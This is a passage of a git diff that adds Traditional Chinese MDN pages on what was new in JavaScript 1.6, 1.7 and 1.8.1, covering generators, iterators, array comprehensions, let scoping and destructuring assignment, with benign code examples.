+<p>這樣的寫法相當耗事，所以 JavaScript 1.6 有比較簡短的寫法：</p>
+
+<pre>if (Array.every(str, isLetter))
+  alert("字串 '" + str + "' 只有包含字母！");
+</pre>
+
+<p>同理，你可以把 String 方法用在任何物件上：</p>
+
+<pre>var num = 15;
+alert(String.replace(num, /5/, '2'));
+</pre>
+
+<h3 id=".E5.8F.A6.E5.A4.96.E5.8F.83.E8.A6.8B" name=".E5.8F.A6.E5.A4.96.E5.8F.83.E8.A6.8B">參閱</h3>
+
+<ul>
+ <li>自 <a href="/zh_tw/Firefox_2_技術文件" title="zh_tw/Firefox_2_技術文件">Firefox 2</a> 起開始支援的 <a href="/zh_tw/JavaScript_1.7_新鮮事" title="zh_tw/JavaScript_1.7_新鮮事">JavaScript 1.7</a>。</li>
+ <li><a href="/zh_tw/Core_JavaScript_1.5_教學/陣列的運用#近似陣列的物件的運用" rel="internal" title="zh tw/Core JavaScript 1.5 教學/陣列的運用#近似陣列的物件的運用">近似陣列的物件的運用</a>。</li>
+</ul>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.6", "es": "es/Novedades_en_JavaScript_1.6", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.6", "ja": "ja/New_in_JavaScript_1.6", "pl": "pl/Nowo\u015bci_w_JavaScript_1.6", "ru": "ru/\u041d\u043e\u0432\u043e\u0435_\u0432_JavaScript_1.6", "zh-cn": "cn/New_in_JavaScript_1.6" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.7/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.7/index.html
new file mode 100644
index 0000000000..9f94bb6e88
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.7/index.html
@@ -0,0 +1,600 @@
+---
+title: JavaScript 1.7 新鮮事
+slug: Web/JavaScript/New_in_JavaScript/1.7
+tags:
+  - JavaScript
+  - JavaScript_version_overviews
+  - 待翻譯
+  - 所有類別
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.7
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>{{ Fx_minversion_header(2) }}</p>
+
+<p>JavaScript 1.7 是個程式語言上的更新，新推出了幾項新功能，諸如特別的產生器（generator）、迭代器（iterator）、陣列簡約式（array comprehension）、<code>let</code> 表達式、以及分割代入（destructuring assignment）。它也包含了所有 <a href="/zh_tw/JavaScript_1.6_新鮮事" title="zh_tw/JavaScript_1.6_新鮮事">JavaScript 1.6</a> 的功能。</p>
+
+<p>從 <a href="/zh_tw/Firefox_2_技術文件" title="zh_tw/Firefox_2_技術文件">Firefox 2</a> 起，開始支援 JavaScript 1.7。</p>
+
+<p>本文章使用的程式碼範例可以用 JavaScript shell 實驗。請參見 <a href="/zh_tw/JavaScript_shell_入門" title="zh tw/JavaScript shell 入門">JavaScript shell 入門</a> 以得知如何建造及使用 shell。</p>
+
+<h2 id="使用_JavaScript_1.7" name="使用_JavaScript_1.7">使用 JavaScript 1.7</h2>
+
+<p>為了使用 JavaScript 1.7 的一些新機能，你必須在 HTML 或 XUL 的原始碼中指明你希望使用 JavaScript 1.7：</p>
+
+<pre class="eval"> &lt;script type="application/javascript;version=1.7"/&gt;
+</pre>
+
+<p>當使用 <a href="/zh_tw/JavaScript_shell_入門" title="zh tw/JavaScript shell 入門">JavaScript shell</a> 的時候，你需要設定想要使用的版本，可以在命令列加上 <code>-version 170</code> 或使用 <code>version()</code> 函式：</p>
+
+<pre class="eval"> version(170);
+</pre>
+
+<p>當碰到必須使用新關鍵字「yield」和「let」的機能時，你必須指定版本 1.7，因為既有的程式可能會將那些關鍵字判讀為變數或函數的名字。當某項機能並未引入新關鍵字時（分割代入和陣列簡約式），可不必指定 JavaScript 的版本。</p>
+
+<h2 id="產生器與迭代器" name="產生器與迭代器">產生器與迭代器</h2>
+
+<p>當開發中的代碼涉及到迭代演算法時（例如迭代整個列表或在同一組資料上反覆進行計算），在計算處理期間還需要維護狀態變數的值。傳統上，你必須使用 Callback 函數以取得迭代演算法的立即值。</p>
+
+<h3 id="產生器" name="產生器">產生器</h3>
+
+<p>思考下面的迭代演算法，他會計算費伯納契數︰</p>
+
+<pre class="brush: js">function do_callback(num) {
+  document.write(num + "&lt;BR&gt;\n");
+}
+
+function fib() {
+  var i = 0, j = 1, n = 0;
+  while (n &lt; 10) {
+    do_callback(i);
+    var t = i;
+    i = j;
+    j += t;
+    n++;
+  }
+}
+
+fib();
+</pre>
+
+<p>代碼中使用的 Callback 常式會在演算法每一次的迭代步驟中進行運算。在本例中，每一個費伯納契數只是簡單的輸出到控制台上。</p>
+
+<p>產生器和迭代器的結合運用可提供較佳的新方式來完成這一動作。讓我們來看看使用產生器所寫成的費伯納契數常式的樣子︰</p>
+
+<pre class="brush: js">function fib() {
+  var i = 0, j = 1;
+  while (true) {
+    yield i;
+    var t = i;
+    i = j;
+    j += t;
+  }
+}
+
+var g = fib();
+for (var i = 0; i &lt; 10; i++) {
+  document.write(g.next() + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>內含 <code>yield</code> 關鍵字的函數便是產生器。當你呼叫函數的時候，函數的形式參數受限於實際的參數，但函數本身並不會被實際進行求值。取而代之的是產生器迭代器（generator-iterator）的返回。每當呼叫產生器迭代器的 <code>next()</code> 方法就進行迭代演算法的下一步驟。每一步驟的值都是由 <code>yield</code> 關鍵字的值所指定。可以把 <code>yield</code> 想成是產生器迭代器版本的 <code>return</code>，並指明演算法每一回迭代之間的分界線。每當你呼叫 <code>next()</code> 的時候，產生器的代碼會從 <code>yield</code> 之後的語句開始恢復執行。</p>
+
+<p>你可以反覆呼叫產生器迭代器的 <code>next()</code> 方法，直到達到你所想要的結果為止。在本例中，我們可以取得任意多的費伯納契數，只要我們持續呼叫 <code>g.next()</code> 直到拿到所需數目的結果為止。</p>
+
+<h5 id="Resuming_a_generator_at_a_specific_point" name="Resuming_a_generator_at_a_specific_point">在指定點上恢復產生器的執行</h5>
+
+<p>產生器的 <code>next()</code> 方法一經呼叫以後產生器就會被啟動，你可以使用 <code>send()</code> 傳入指定的值，傳入的值會被視為最後一個 <code>yield</code> 的結果。產生器將會返回隨後的 <code>yield</code> 的運算元。</p>
+
+<p>你不能在任意點上啟動產生器；在你可以使用 <code>send()</code> 傳入指定值以前，你必須先以 <code>next()</code> 啟動。</p>
+
+<div class="note"><strong>附註:</strong> 有趣的一點是，呼叫 <code>send(undefined)</code> 和呼叫 <code>next()</code> 是等價的。然而，使用除了 undefined 以外的任意值來呼叫 <code>send()</code> 並啟動新生的產生器，將會導致 <code>TypeError</code> 的例外。</div>
+
+<h5 id="Exceptions_in_generators" name="Exceptions_in_generators">產生器裡的例外</h5>
+
+<p>你可以呼叫產生器的 <code>throw()</code> 方法並傳入要拋出的例外值，強制使產生器拋出例外。例外將會從產生器當下被暫停的內容中拋出，彷彿 <code>throw <em>value</em></code> 被代換成目前被暫停的 <code>yield</code> 語句。</p>
+
+<p>如果在拋出例外的過程中沒有遇到 yield，例外將會不斷擴散直到呼叫 <code>next()</code>，而隨後呼叫的 <code>next()</code> 將會導致 <code>StopIteration</code> 被拋出。</p>
+
+<h5 id="Closing_a_generator" name="Closing_a_generator">關閉產生器</h5>
+
+<p>產生器有一個 <code>close()</code> 方法可強制產生器關閉他自己。關閉產生器的作用有︰</p>
+
+<ol>
+ <li>執行產生器函數裡面所有活動中的 <code>finally</code> 子句。</li>
+ <li>如果 <code>finally</code> 子句拋出除了 <code>StopIteration</code> 以外的任何例外，例外會被擴散到 <code>close()</code> 方法的呼叫端。</li>
+ <li>結束產生器。</li>
+</ol>
+
+<h5 id="Generator_Example" name="Generator_Example">產生器的範例</h5>
+
+<p>下面的代碼驅動的產生器將會產生 100 個迴圈。</p>
+
+<pre class="brush: js">var gen = generator();
+
+function driveGenerator() {
+  if (gen.next()) {
+    window.setTimeout(driveGenerator, 0);
+  } else {
+    gen.close();
+  }
+}
+
+function generator() {
+  while (i &lt; something) {
+    /** stuff **/
+
+    ++i;
+    /** 100 loops per yield **/
+    if ((i % 100) == 0) {
+      yield true;
+    }
+  }
+  yield false;
+}
+</pre>
+
+<h3 id="迭代器" name="迭代器">迭代器</h3>
+
+<p><em>迭代器</em>是一種特殊的物件，可讓你在資料上進行迭代。</p>
+
+<p>在正常使用下，迭代器物件是「看不見的」；你並不需要直接在裡面做操作，但會使用到 JavaScript 的 <a href="/zh_tw/Core_JavaScript_1.5_教學/物件的操作語法" title="zh tw/Core JavaScript 1.5 教學/物件的操作語法"><code>for...in</code> 和 <code>for each...in</code> 語法</a> 在物件的鍵值上自然的循環。</p>
+
+<pre class="brush: js">var objectWithIterator = getObjectSomehow();
+
+for (var i in objectWithIterator)
+{
+  document.write(objectWithIterator[i] + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>如果你正在實裝你自己的迭代器物件，或者有另一個需要直接操作的迭代器，你將需要知道 <code>next</code> 方法、<code>StopIteration</code> 例外、還有 <code>__iterator__</code> 方法。</p>
+
+<p>你可以藉著呼叫 <code>Iterator(<em>objectname</em>)</code> 來為物件建立迭代器；物件的迭代器會透過物件的 <code>__iterator__</code> 方法找出來，如果沒有提供 <code>__iterator__</code> 方法，就會建立預設的迭代器。預設的迭代器會提供物件的屬性，通常是對應於 <code>for...in</code> 和 <code>for each...in</code> 的模式。如果你想要提供自訂的迭代器，你就要覆蓋 <code>__iterator__</code> 方法並返回你自訂的迭代器的實體。要從 Script 取得物件的迭代器，你就要使用 <code>Iterator(<em>obj</em>)</code> 而非直接存取 <code>__iterator__</code> 屬性。前者可用於陣列；而後者不行。</p>
+
+<p>一旦你有了迭代器以後，你就可以藉由呼叫迭代器的 <code>next()</code> 方法輕鬆的取得物件中的下一項。如果已無下一項資料，就會拋出 <code>StopIteration</code> 例外。</p>
+
+<p>下面是直接操作迭代器的簡單範例︰</p>
+
+<pre class="brush: js">var obj = {name:"Jack Bauer", username:"JackB", id:12345, agency:"CTU", region:"Los Angeles"};
+
+var it = Iterator(obj);
+
+try {
+  while (true) {
+    document.write(it.next() + "&lt;BR&gt;\n");
+  }
+} catch (err if err instanceof StopIteration) {
+  document.write("記錄結束。&lt;BR&gt;\n");
+} catch (err) {
+  document.write("未知的錯誤︰" + err.description + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>這個程式的輸出就像下面這樣︰</p>
+
+<pre>name,Jack Bauer
+username,JackB
+id,12345
+agency,CTU
+region,Los Angeles
+記錄結束。
+</pre>
+
+<p>當你正在建立你的迭代器的時候，也可以選擇性的指定第二個參數，這個參數是真假值，可表明每當你呼叫 <code>next()</code> 方法時是否只想要返回鍵的部分。把前面例子的 <code>var it = Iterator(obj);</code> 改成 <code>var it = Iterator(obj, true);</code> 會變成以下的輸出內容︰</p>
+
+<pre>name
+username
+id
+agency
+region
+記錄結束。
+</pre>
+
+<p>在這兩種情況下，返回的資料的實際順序主要是由實裝方式所決定。在此並沒有統一的資料順序。</p>
+
+<p>迭代器是用來掃描物件裡的資料的簡便方式，包括那些你沒注意到的內容。如果你需要維護應用程式無法預期的資料的話，這一點將會特別實用。</p>
+
+<h2 id="陣列簡約式" name="陣列簡約式">陣列簡約式</h2>
+
+<p>陣列簡約式的用法和產生器一樣，可提供簡便的方式進行陣列的初始化。例如︰</p>
+
+<pre class="brush: js">function range(begin, end) {
+  for (let i = begin; i &lt; end; ++i) {
+    yield i;
+  }
+}
+</pre>
+
+<p><code>range()</code> 是可返回介於 <code>begin</code> 和 <code>end</code> 之間所有的值的產生器。有了上面的定義，我們可以如下使用︰</p>
+
+<pre class="brush: js">var ten_squares = [i * i for (i in range(0, 10))];
+</pre>
+
+<p>這個預先初始化內容的新陣列 <var>ten_squares</var>，內含 <code>0..9</code> 範圍內所有數值的平方。</p>
+
+<p>在初始化陣列的時候，你可以採用任意的條件。如果你想要初始化內含 0 到 20 之間的偶數的陣列，你可以使用下面的代碼︰</p>
+
+<pre class="brush: js">var evens = [i for (i in range(0, 21)) if (i % 2 == 0)];
+</pre>
+
+<p>在 JavaScript 1.7 以前，就必須編寫成像下面這個樣子︰</p>
+
+<pre class="brush: js">var evens = [];
+for (var i=0; i &lt;= 20; i++) {
+  if (i % 2 == 0)
+    evens.push(i);
+}
+</pre>
+
+<p>陣列簡約式不只是更加的緊密，一旦熟悉了這個概念，就會發現陣列簡約式也真的更加易讀。</p>
+
+<h4 id="作用域規則" name="作用域規則">作用域規則</h4>
+
+<p>陣列簡約式中包含在方括號內部的所有東西具有內含的區塊，就像隱含了 <code>let</code> 宣告一樣。</p>
+
+<h2 id="使用_let_的區塊作用域" name="使用_let_的區塊作用域">使用 <code>let</code> 的區塊作用域</h2>
+
+<p><code>let</code> 可用來管理資料和函數的區塊作用域，在此有許多種方式︰</p>
+
+<ul>
+ <li><strong><code>let</code> 語法</strong> 可提供在區塊的作用域內部連結值與變數的方式，而不影響區塊外部相同名稱的變數的值。</li>
+ <li><strong><code>let</code> 表達式</strong> 可讓你只對單一的表達式確立變數的作用域。</li>
+ <li><strong><code>let</code> 定義</strong> 可定義區塊使變數的作用域受限於這個區塊。這個語法和 <code>var</code> 語法的用法非常類似。</li>
+ <li>你也可以使用 <code>let</code> 來確立只存在於 <code>for</code> 循環的條件式內部的變數。</li>
+</ul>
+
+<h3 id="let_語法" name="let_語法"><code>let</code> 語法</h3>
+
+<div class="warning">
+<p>The <code>let</code> block and <code>let</code> expression syntax is non-standard and will be removed in the future. Do not use them! See {{bug(1023609)}} for more details.</p>
+</div>
+
+<p><code>let</code> 語法可提供給變數一個局域作用域。他會作用於被約束在單一區塊範圍內零個以上的變數；否則，他就和 <a href="/../../../../zh_tw/Core_JavaScript_1.5_參考/語法/區塊" rel="internal" title="../../../../zh tw/Core JavaScript 1.5 參考/語法/區塊">區塊語法</a> 完全一樣。須特別注意的是，在 <code>let</code> 語法內部使用以 <code>var</code> 宣告過的變數，如果變數已在 <code>let</code> 語法外部宣告過，其作用域仍和外部的一樣；這樣的變數仍具有函數作用域。</p>
+
+<p>例如︰</p>
+
+<pre class="brush: js">var x = 5;
+var y = 0;
+
+let (x = x+10, y = 12) {
+  print(x+y + "\n");
+}
+
+print((x + y) + "\n");
+</pre>
+
+<p>程式的輸出結果會是︰</p>
+
+<pre>27
+5
+</pre>
+
+<p>代碼區塊的規則和 JavaScript 中的任何代碼區塊完全一樣。他會有自己的使用 <code>let</code> 宣告所確立的局域變數。</p>
+
+<div class="note"><strong>附註:</strong> 當使用 <code>let</code> 語法的時候，<code>let</code> 後面的圓括弧是必要的。漏掉圓括弧將導致語法錯誤。</div>
+
+<h4 id="作用域規則" name="作用域規則">作用域規則</h4>
+
+<p>用 <code>let</code> 所定義的變數其作用域即為 <code>let</code> 區塊本身，也包括其內部的區塊，除非內部區塊定義了相同名稱的變數。</p>
+
+<h3 id="let_表達式" name="let_表達式"><code>let</code> 表達式</h3>
+
+<div class="warning">
+<p>The <code>let</code> block and <code>let</code> expression syntax is non-standard and will be removed in the future. Do not use them! See {{bug(1023609)}} for more details.</p>
+</div>
+
+<p>你可以使用 <code>let</code> 來確立只對單一表達式有效的變數：</p>
+
+<pre class="brush: js">var x = 5;
+var y = 0;
+document.write( let(x = x + 10, y = 12) x+y  + "&lt;BR&gt;\n");
+document.write(x+y + "&lt;BR&gt;\n");
+</pre>
+
+<p>結果為：</p>
+
+<pre>27
+5
+</pre>
+
+<p>在這個例子中，將 <var>x </var>和 y 指定為 <code>x+10</code> 和 <code>12</code> 只對 <code>x+y</code> 這個表達式有效。</p>
+
+<h4 id="作用域規則" name="作用域規則">作用域規則</h4>
+
+<p>假設有一個 <code>let</code> 表示式：</p>
+
+<pre class="eval">let (<var>decls</var>) <var>expr</var>
+</pre>
+
+<p>這裡的 <var>expr</var> 也會被隱含的區塊所包圍。</p>
+
+<h3 id="let_定義" name="let_定義"><code>let</code> 定義</h3>
+
+<p><code>let</code> 關鍵字也可以用來定義在區塊中的變數。</p>
+
+<div class="note"><strong>附註:</strong> 如果你有更多有趣的例子是有關於 <code>let</code> 定義的使用方式，可以考慮加到此處。</div>
+
+<pre class="brush: js">if (x &gt; y) {
+  let gamma = 12.7 + y;
+  i = gamma * x;
+}</pre>
+
+<p>你可以在擴充套件的代碼中使用 <code>let</code> 定義假命名空間的別名。（詳見 <a href="/zh_tw/擴充套件中安全性的最佳實踐" title="zh tw/擴充套件中安全性的最佳實踐">擴充套件中安全性的最佳實踐</a>。）</p>
+
+<pre class="brush: js">let Cc = Components.classes, Ci = Components.interfaces;
+</pre>
+
+<p>當使用到內部函數的時候，有時 <code>let</code> 語法、表達式和定義可使代碼更為簡潔。</p>
+
+<pre class="brush: js">var list = document.getElementById("list");
+
+for (var i = 1; i &lt;= 5; i++) {
+  var item = document.createElement("LI");
+  item.appendChild(document.createTextNode("Item " + i));
+
+  let j = i;
+  item.onclick = function (ev) {
+    alert("Item " + j + " is clicked.");
+  };
+  list.appendChild(item);
+}
+</pre>
+
+<p>上面的例子有意如此運作，五個（匿名）內部函數的實體分別參考到五個不同變數 <code>j</code> 的實體。注意，如果你改用 <code>var</code> 取代 <code>let</code>，或是移除變數 <code>j</code> 並簡單的在內部函數中使用變數 <code>i</code>，他就不再如此運作。</p>
+
+<h4 id="作用域規則" name="作用域規則">作用域規則</h4>
+
+<p>使用 <code>let</code> 宣告的變數其作用域不僅是限於所在的區塊，也可用於所在區塊的任意子區塊之中，只要這些子區塊未再次定義同樣的變數。在這個方式下，<code>let</code> 的運作就非常類似 <code>var</code>。主要的不同點在於 <code>var</code> 變數的作用域的範圍是整塊函數︰</p>
+
+<pre class="brush: js">  function varTest() {
+    var x = 31;
+    if (true) {
+      var x = 71;  // 相同的變數!
+      alert(x);  // 71
+    }
+    alert(x);  // 71
+  }
+
+  function letTest() {
+    let x = 31;
+    if (true) {
+      let x = 71;  // 不同的變數
+      alert(x);  // 71
+    }
+    alert(x);  // 31
+  }
+</pre>
+
+<p><code>=</code> 右邊的表達式受限於區塊的內部。和 <code>let</code> 表達式 以及 <code>let</code> 語法 的作用範圍不同︰</p>
+
+<pre class="brush: js">  function letTests() {
+    let x = 10;
+
+    // let 語法
+    let (x = x + 20) {
+      alert(x);  // 30
+    }
+
+    // let 表達式
+    alert(let (x = x + 20) x);  // 30
+
+    // let 定義
+    {
+      let x = x + 20;  // 此處的 x 會被求值成 undefined
+      alert(x);  // undefined + 20 ==&gt; NaN
+    }
+  }
+</pre>
+
+<p>在程式或類別中，<code>let</code> 並不會像 <code>var</code> 那樣在全域物件上建立屬性；取而代之的是，在對某個內容的語句求值之際，隱含的區塊會被建立，<code>let</code> 便會在隱含的區塊中建立屬性。其本質上的意義是 <code>let</code> 並不會覆蓋先前使用 <code>var</code> 定義的變數。例如︰</p>
+
+<pre class="brush: js">var x = 'global';
+let x = 42;
+document.write(this.x + "&lt;br&gt;\n");
+</pre>
+
+<p>代碼所顯示的輸出將會是 "global" 而非 "42"。</p>
+
+<p><span style="color: rgb(0, 0, 255);">隱含的區塊</span>並不使用圓括弧來界定，他是由 JavaScript 引擎暗中建立的。</p>
+
+<p>在函數中，以 <code>eval()</code> 執行的 <code>let</code> 並不像 <code>var</code> 那樣在變數物件上（活動中的物件或最內部的區塊）建立屬性；取而代之的是，在對程式中的語句求值之際，隱含的區塊會被建立，<code>let</code> 便會在隱含的區塊中建立屬性。這是 <code>eval()</code> 在程式上以前述規則作用的結果。</p>
+
+<p>換句話說，當你使用 <code>eval()</code> 來執行代碼的時候，這些代碼會被視為獨立的程式，這些程式的代碼會被隱含的區塊所包圍。</p>
+
+<h3 id="for_迴圈裡加上_let_的變數" name="for_迴圈裡加上_let_的變數"><code>for</code> 迴圈裡加上 <code>let</code> 的變數</h3>
+
+<p>你可以使用 <code>let</code> 關鍵字把局域變數限制在 <code>for</code> 迴圈的作用域裡，就像使用 <code>var</code> 一般。</p>
+
+<pre class="brush: js">** 加入 obj **
+   var i=0;
+   for ( let i=i ; i &lt; 10 ; i++ )
+     document.write(i + "&lt;BR&gt;\n");
+
+   for ( let [name,value] in obj )
+     document.write("名稱: " + name + ", 值: " + value + "&lt;BR&gt;\n");
+</pre>
+
+<h4 id="作用域規則" name="作用域規則">作用域規則</h4>
+
+<pre class="eval">for (let <var>expr1</var>; <var>expr2</var>; <var>expr3</var>) <var>statement</var>
+</pre>
+
+<p>在本例中，<var>expr2</var>、<var>expr3</var>、<var>statement</var> 都會被含括在隱含的區塊裡，而這個區塊裡內含以 <code>let <var>expr1</var></code> 宣告的區塊局域變數。這是前述的第一個迴圈的示例。</p>
+
+<pre class="eval">for (let <var>expr1</var> in <var>expr2</var>) <var>statement</var>
+for each(let <var>expr1</var> in <var>expr2</var>) <var>statement</var>
+</pre>
+
+<p>這兩種情況都會有一個內含每一個 <var>statement</var> 的隱含區塊。其中第一個是前述的第二個迴圈。</p>
+
+<h2 id="分割代入" name="分割代入">分割代入</h2>
+
+<p>分割代入是利用反映出陣列或物件結構的字面表達的語法，從陣列或物件抽取資料。</p>
+
+<p>陣列或物件的字面表達式可提供簡易的方式來建立特用的資料封包。這些資料封包一經建立之後，就能以任意方式來做想做的事。你甚至可以從函數裡返回這些資料封包。</p>
+
+<p>分割代入其中一件特別實用的用法是以單一的語句讀取整個結構，不過還有很多有趣的使用方式，並會在隨後小節中顯示完整的範例。</p>
+
+<p>這種能力很類似 Perl 或 Python 等語言所具有的機能。</p>
+
+<h3 id="範例" name="範例">範例</h3>
+
+<p>分割代入最好的解釋方式就是使用範例，所以這裡有一些可供你閱讀並從中學習。</p>
+
+<h4 id="避免臨時變數" name="避免臨時變數">避免臨時變數</h4>
+
+<p>你可以使用分割代入交換變數值，例如︰</p>
+
+<pre class="brush: js">var a = 1;
+var b = 3;
+
+[a, b] = [b, a];
+</pre>
+
+<p>執行代碼之後，<var>b</var> 變成 1 且 <var>a</var> 變成 3。如果沒有分割代入，就需要臨時變數交換兩個變數值（在某些低階語言中，可以使用 <a class="external" href="http://en.wikipedia.org/wiki/XOR_swap">XOR-交換技巧</a>）。</p>
+
+<p>同樣的，也可以用來交換三個以上的變數︰</p>
+
+<pre class="brush: js">var a = 'o';
+var b = "&lt;font color = 'green'&gt;o&lt;/font&gt;";
+var c = 'o';
+var d = 'o';
+var e = 'o';
+var f = "&lt;font color = 'blue'&gt;o&lt;/font&gt;";
+var g = 'o';
+var h = 'o';
+
+for (lp=0;lp&lt;40;lp++)
+	{[a, b, c, d, e, f, g, h] = [b, c, d, e, f, g, h, a];
+	 document.write(a+''+b+''+c+''+d+''+e+''+f+''+g+''+h+''+"&lt;br /&gt;");}
+</pre>
+
+<p>執行代碼時，就會顯示變動的色彩循環效果。</p>
+
+<p>回到我們先前費伯納契數產生器的範例，我們可以去掉臨時變數 "t"，改在單一的群組代入語法中計算 "i" 和 "j" 的新值︰</p>
+
+<pre class="brush: js">function fib() {
+  var i = 0, j = 1;
+  while (true) {
+    yield i;
+    [i, j] = [j, i + j];
+  }
+}
+
+var g = fib();
+for (let i = 0; i &lt; 10; i++)
+  print(g.next());
+</pre>
+
+<h4 id="返回多重值" name="返回多重值">返回多重值</h4>
+
+<p>感謝有了分割代入，函數因此能夠返回多重值。儘管一直都可以從函數返回陣列，不過分割代入可提供更進一步的靈活性。</p>
+
+<pre class="brush: js">function f() {
+  return [1, 2];
+}
+</pre>
+
+<p>如你所見，返回值是以類似陣列的記法把所有要返回的值含括在方括號內來完成的。你可以使用這個方式來返回任意數目的結果。在本例中，<code>f()</code> 返回變數 <code>{{ mediawiki.external('1, 2') }}</code> 作為他的輸出。</p>
+
+<pre class="brush: js">var a, b;
+[a, b] = f();
+document.write ("A is " + a + " B is " + b + "&lt;BR&gt;\n");
+</pre>
+
+<p>指令 <code>{{ mediawiki.external('a, b') }} = f()</code> 會把函數返回的結果依序代入到方括號裡的變數︰<var>a</var> 會被設成 1 而 <var>b</var> 會被設成 2。</p>
+
+<p>你也可以如同陣列一般取回返回值︰</p>
+
+<pre class="brush: js">var a = f();
+document.write ("A is " + a);
+</pre>
+
+<p>在本例中，<var>a</var> 是內含有值 1 和值 2 的陣列。</p>
+
+<h4 id="在物件上循環" name="在物件上循環">在物件上循環</h4>
+
+<p>你也可以使用分割代入從物件取出資料︰</p>
+
+<pre class="brush: js">var obj = { width: 3, length: 1.5, color: "orange" };
+
+for (let[name, value] in obj) {
+  document.write ("Name: " + name + ", Value: " + value + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>這個循環會遍歷 <var>obj</var> 物件所有的鍵值對，並顯示這些鍵值對的名稱和值。在本例中，其輸出如下︰</p>
+
+<pre>Name: width, Value: 3
+Name: length, Value: 1.5
+Name: color, Value: orange
+</pre>
+
+<p>在 JavaScript 1.7 中，圍繞著 <code>obj</code> 的 <code>Iterator()</code> 並不是必要的；不過在 <a href="/zh_tw/JavaScript_1.8_新鮮事" title="zh tw/JavaScript 1.8 新鮮事">JavaScript 1.8</a> 則是必要的。這是為了使分割代入可用於陣列（詳見 {{ Bug(366941) }}）。</p>
+
+<h4 id="在物件的陣列中的值上循環" name="在物件的陣列中的值上循環">在物件的陣列中的值上循環</h4>
+
+<p>你可以遍歷物件上的陣列，在每一個物件上取出感興趣的資料欄位︰</p>
+
+<pre class="brush: js">var people = [
+  {
+    name: "Mike Smith",
+    family: {
+      mother: "Jane Smith",
+      father: "Harry Smith",
+      sister: "Samantha Smith"
+    },
+    age: 35
+  },
+  {
+    name: "Tom Jones",
+    family: {
+      mother: "Norah Jones",
+      father: "Richard Jones",
+      brother: "Howard Jones"
+    },
+    age: 25
+  }
+];
+
+for each (let {name: n, family: { father: f } } in people) {
+  document.write ("Name: " + n + ", Father: " + f + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>本例會取出 <var>name</var> 和 <var>family.father</var> 欄位，存在 <var>n</var> 和 <var>f</var> 裡，並輸出其內容。這會對 <var>people</var> 陣列裡的每一個物件進行處理。其輸出如下︰</p>
+
+<pre>Name: Mike Smith, Father: Harry Smith
+Name: Tom Jones, Father: Richard Jones
+</pre>
+
+<h4 id="忽略部分返回值" name="忽略部分返回值">忽略部分返回值</h4>
+
+<p>你也可以忽略不想要的返回值︰</p>
+
+<pre class="brush: js">function f() {
+  return [1, 2, 3];
+}
+
+var [a, , b] = f();
+document.write ("A is " + a + " B is " + b + "&lt;BR&gt;\n");
+</pre>
+
+<p>執行這個代碼之後，a 變成 1 而 b 變成 3。值 2 會被忽略。你可以按這個方式忽略任意（或全部）的返回值。例如︰</p>
+
+<pre class="brush: js">[,,,] = f();
+</pre>
+
+<h4 id="從正規表達式的比對結果取值" name="從正規表達式的比對結果取值">從正規表達式的比對結果取值</h4>
+
+<p>當正規表達式的 <code><a href="/zh_tw/Core_JavaScript_1.5_參考/全域物件/RegExp/exec" title="zh tw/Core JavaScript 1.5 參考/全域物件/RegExp/exec">exec()</a></code> 方法找到符合結果時，就會返回比對結果的陣列。其中第一項是要比對的完整字串，之後是符合正規表達式中的每一個圓括弧的子字串。分割代入可讓你更簡單的從陣列中取出一部分資料，忽略不需要的比對結果。</p>
+
+<pre class="brush: js">// 使用簡單的正規表達式比對 http / https / ftp 形式的 URL。
+var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+if (!parsedURL)
+  return null;
+var [, protocol, fullhost, fullpath] = parsedURL;
+</pre>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.7", "es": "es/Novedades_en_JavaScript_1.7", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.7", "it": "it/Novit\u00e0_in_JavaScript_1.7", "ja": "ja/New_in_JavaScript_1.7", "pl": "pl/Nowo\u015bci_w_JavaScript_1.7" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.8.1/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.8.1/index.html
new file mode 100644
index 0000000000..699ff53f02
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.8.1/index.html
@@ -0,0 +1,41 @@
+---
+title: JavaScript 1.8.1 新鮮事
+slug: Web/JavaScript/New_in_JavaScript/1.8.1
+tags:
+  - ECMAScript5
+  - Firefox 3.5
+  - Gecko 1.9.1
+  - JavaScript
+  - JavaScript 1.8.1
+  - JavaScript_version_overviews
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+<div>
+<p>{{ gecko_minversion_header("1.9.1") }}</p>
+
+<p>  JavaScript 1.8.1 僅只修改了一小部份語法。主要的改變可以看 <a class="internal" href="/En/SpiderMonkey/Internals/Tracing_JIT" title="En/SpiderMonkey/Internals/Tracing JIT">Tracemonkey just-in-time compiler</a>，大多是關於效能增進的部份。</p>
+
+<p>  以下列舉一些值得注意的 API 變動 (細節詳見 <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.js-engine/browse_thread/thread/a4d1fe147761aacb#" title="http://groups.google.com/group/mozilla.dev.tech.js-engine/browse_thread/thread/a4d1fe147761aacb#">detailed in this newsgroup posting</a>)：</p>
+
+<h2 id="語言新增">語言新增</h2>
+
+<dl>
+ <dt><a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/Object/GetPrototypeOf" rel="internal"><code>Object.getPrototypeOf()</code></a></dt>
+ <dd>這個新函式可以回傳物件的 prototype。</dd>
+ <dt><a class="internal" href="/En/Using_native_JSON" title="En/Using JSON in Firefox">Using native JSON</a></dt>
+ <dd>Firefox 3.5 可以原生支援 <a class="internal" href="/en/JSON" title="En/JSON">JSON</a> 的操作了。</dd>
+ <dt>增加了新的 trim 函式到 String 物件</dt>
